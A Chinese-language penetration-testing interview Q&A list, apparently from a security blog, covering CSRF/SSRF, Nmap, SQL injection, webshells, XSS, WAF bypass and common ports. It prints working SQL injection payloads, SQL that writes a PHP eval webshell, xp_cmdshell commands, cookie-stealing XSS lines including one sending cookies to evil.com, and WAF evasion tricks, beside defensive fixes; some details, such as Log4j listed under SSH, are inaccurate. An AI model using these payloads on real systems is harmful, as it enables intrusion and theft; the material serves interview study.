2025年渗透测试面试题总结-218(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
一百二十一、CSRF、SSRF 与重放攻击区别
一百二十二、业务逻辑漏洞与修复
一百二十三、Nmap扫描方式
一百二十四、SQL注入类型
一百二十五、报错注入函数(10个)
一百二十六、延时注入判断
一百二十七、获取Webshell的常见途径
一百二十八、SQL注入写文件函数
一百二十九、CSRF防护方法
一百三十、未验证的重定向/转发漏洞
四十九、SQL注入防护方法
一百三十一、危险函数汇总
一百三十二、img标签获取路径技巧(绕过onerror)
一百三十三、绕过src后缀限制的路径获取
一百三十四、ASPX权限大于ASP的原因
一百三十五、WAF绕过技巧
一百三十六、渗透常见端口
一百三十七、常见漏洞类型
一百三十八、文件上传防护
一百三十九、扫描工具推荐
一百四十、SQL注入点判断
一百二十一、CSRF、SSRF 和重放攻击有什么区别?一百二十二、说出至少三种业务逻辑漏洞,以及修复方式?一百二十三、nmap,扫描的几种方式一百二十四、sql 注入的几种类型?一百二十五、报错注入的函数有哪些?10 个一百二十六、延时注入如何来判断?一百二十七、如何拿一个网站的 webshell?一百二十八、sql 注入写文件都有哪些函数?一百二十九、如何防止 CSRF?一百三十、未验证的重定向和转发49、SQL 注入防护方法?一百三十一、代码执行,文件读取,命令执行的函数都有哪些?一百三十二、img 标签除了 onerror 属性外,还有其他获取管理员路径的办法吗?一百三十三、img 标签除了 onerror 属性外,并且 src 属性的后缀名,必须以.jpg 结尾,怎么获取管理员路径。一百三十四、为什么 aspx 木马权限比 asp 大?一百三十五、如何绕过 waf?一百三十六、渗透测试中常见的端口一百三十七、了解哪些漏洞一百三十八、文件上传有哪些防护方式一百三十九、用什么扫描端口,目录一百四十、如何判断注入一百二十一、CSRF、SSRF 与重放攻击区别
攻击类型 原理 目标 防御示例 CSRF 冒用用户身份执行非预期操作 用户账户权限 Token验证、SameSite Cookie SSRF 利用服务端发起内部网络请求 内网资源/系统 请求白名单、禁用协议 重放攻击 拦截并重复发送合法请求 身份认证/交易数据 时间戳、Nonce随机数
一百二十二、业务逻辑漏洞与修复
- 越权访问
- 漏洞:用户A访问用户B的数据(如修改ID参数)
- 修复:服务端校验数据归属,RBAC权限控制
- 重复提交
- 漏洞:重复下单、薅优惠券
- 修复:幂等性设计(Token机制、数据库唯一约束)
- 流程绕过
- 漏洞:跳过支付步骤直接生成订单
- 修复:关键步骤状态机校验,服务端完整流程验证
一百二十三、Nmap扫描方式
扫描类型 命令示例 特点 TCP全连接扫描 nmap -sT <IP>建立完整连接,可靠性高但慢 SYN半开扫描 nmap -sS <IP>不完成握手,速度快且隐蔽 UDP扫描 nmap -sU <IP>检测UDP服务(如DNS/DHCP) 操作系统指纹识别 nmap -O <IP>通过TCP/IP堆栈特征识别系统
一百二十四、SQL注入类型
- 联合查询注入:
UNION SELECT拼接数据- 布尔盲注:通过页面真假状态推测数据(如
id=1 and 1=1)- 时间盲注:利用延时函数判断(如
SLEEP(5))- 报错注入:触发数据库错误回显信息(如
updatexml())- 堆叠注入:执行多条SQL语句(需驱动支持,如
; DROP TABLE users)
一百二十五、报错注入函数(10个)
sql1. updatexml(1, concat(0x7e,(SELECT user())), 1) -- MySQL 2. extractvalue(1, concat(0x7e,(SELECT user()))) 3. exp(~(SELECT * FROM (SELECT user())a)) -- MySQL 5.x 4. ST_LatFromGeoHash((SELECT database())) -- MySQL ≥5.7 5. GTID_SUBSET((SELECT user()), 1) -- MySQL 5.6+ 6. polygon((SELECT * FROM (SELECT * FROM users)a))-- MySQL 7. CAST((SELECT user()) AS INTEGER) -- PostgreSQL 8. dbms_xmlgen.getxml('SELECT * FROM users') -- Oracle 9. ctxsys.drithsx.sn() ||(SELECT user FROM dual) -- Oracle 10. raiserror('注入内容',16,1) -- SQL Server
一百二十六、延时注入判断
- 注入点检测:
?id=1' AND IF(1=1,SLEEP(5),0)--+→ 观察响应延迟- 逐字符提取数据:
sql?id=1' AND IF( SUBSTR((SELECT user()),1,1)='a', SLEEP(5), 0 )--+
一百二十七、获取Webshell的常见途径
- 文件上传漏洞:绕过上传限制传马
- 框架漏洞利用:如Struts2、ThinkPHP RCE
- 数据库写文件:MySQL的
INTO OUTFILE- 文件包含漏洞+LFI/RFI:包含日志或远程木马
- CMS插件漏洞:编辑模板插入恶意代码
一百二十八、SQL注入写文件函数
数据库 函数/命令 示例 MySQL INTO OUTFILE/DUMPFILESELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/shell.php'SQL Server xp_cmdshell+echoEXEC xp_cmdshell 'echo "恶意代码" > C:\web\shell.aspx'PostgreSQL COPY ... FROM PROGRAMCOPY (SELECT '恶意代码') TO '/tmp/shell.php'Oracle UTL_FILE包DECLARE f UTL_FILE.FILE_TYPE; BEGIN f := UTL_FILE.FOPEN('WEB_DIR','shell.jsp','W'); UTL_FILE.PUT_LINE(f,'代码'); END;
一百二十九、CSRF防护方法
- Token验证:表单中嵌入随机Token,服务端校验
- SameSite Cookie:设置
SameSite=Strict/Lax- 二次确认:敏感操作需密码/验证码
- Referer检查:验证请求来源域名(易被绕过)
一百三十、未验证的重定向/转发漏洞
- 漏洞:
?redirect=https://evil.com诱导用户跳转钓鱼网站- 修复:
- 避免动态跳转参数
- 校验目标域名白名单
- 使用中间页面警告(如“您将离开本站”)
四十九、SQL注入防护方法
- 参数化查询:使用预编译(PreparedStatement)
- 输入过滤:白名单校验数据类型(如整型强制转换)
- 最小权限原则:数据库账户降权,禁用敏感函数
- WAF防护:正则拦截常见注入特征(如
UNION SELECT)
一百三十一、危险函数汇总
漏洞类型 函数示例 代码执行 eval(),assert(),preg_replace(/e/)文件读取 file_get_contents(),readfile(),fopen()命令执行 system(),exec(),shell_exec(), 反引号`
一百三十二、img标签获取路径技巧(绕过onerror)
- 利用属性:
html<img src="x" onload="alert(document.cookie)"> <!-- 加载事件 --> <img src="valid.jpg#x" onerror="fetch('/admin?cookie='+document.cookie)"> <!-- 片段标识符触发错误 -->
一百三十三、绕过src后缀限制的路径获取
html<!-- 方法1:利用URL参数解析 --> <img src="valid.jpg?path=http://evil.com/steal?c=[cookie]"> <!-- 方法2:Base64伪装图片 --> <img src="data:image/jpeg;base64,恶意代码"> <!-- 方法3:服务端重定向 --> <img src="https://trusted.com/redirect?url= 恶意URL">
一百三十四、ASPX权限大于ASP的原因
- 进程模型:ASPX运行于.NET CLR托管环境,默认以NETWORK SERVICE身份执行,可继承系统权限;ASP Classic使用IIS的IUSR账户,权限受限。
- 框架特性:ASPX支持代码编译、内存管理等高级功能,易与系统API交互。
一百三十五、WAF绕过技巧
- 混淆编码:URL编码、Unicode、Hex编码(如
SELECT→%53%45%4C%45%43%54)- 等价替换:
AND→&&,空格→/**/、%0a- 分块传输:HTTP Chunked Encoding拆分恶意载荷
- 注释填充:
SEL/*任意字符*/ECT- 协议层面:HTTP参数污染(HPP)、畸形报文(如超长Header)
一百三十六、渗透常见端口
端口 服务 **常见漏洞 22/TCP SSH 弱口令、RCE(如Log4j) 80/443 HTTP/HTTPS Web漏洞全集 445/TCP SMB 永恒之蓝、文件共享未授权 3306/TCP MySQL SQL注入、弱口令 6379/TCP Redis 未授权访问、写Webshell
一百三十七、常见漏洞类型
- OWASP TOP 10:注入、失效认证、敏感数据泄露
- 服务漏洞:Redis未授权、Docker API暴露
- 中间件漏洞:WebLogic反序列化、Nginx解析漏洞
- 系统漏洞:Windows永恒之蓝、Linux脏牛提权
一百三十八、文件上传防护
- 后缀名白名单:仅允许
.jpg, .png等静态文件- 文件头校验:检测
FF D8 FF(JPEG)等真实类型- 重命名文件:随机化文件名(如
a3f8e.jpg)- 存储隔离:文件存非Web目录,通过脚本代理访问
- 内容扫描:检查图片是否包含恶意代码
一百三十九、扫描工具推荐
- 端口扫描:Nmap(综合)、Masscan(高速)
- 目录爆破:Dirsearch、Gobuster、FFuf
- 漏洞扫描:Nessus(全面)、Nuclei(定制化POC)
一百四十、SQL注入点判断
- 逻辑测试:
?id=1' and '1'='1→ 正常
?id=1' and '1'='2→ 异常- 报错测试:
?id=1'→ 观察数据库错误回显- 时间盲注探测:
?id=1' AND SLEEP(5)--+→ 响应延迟
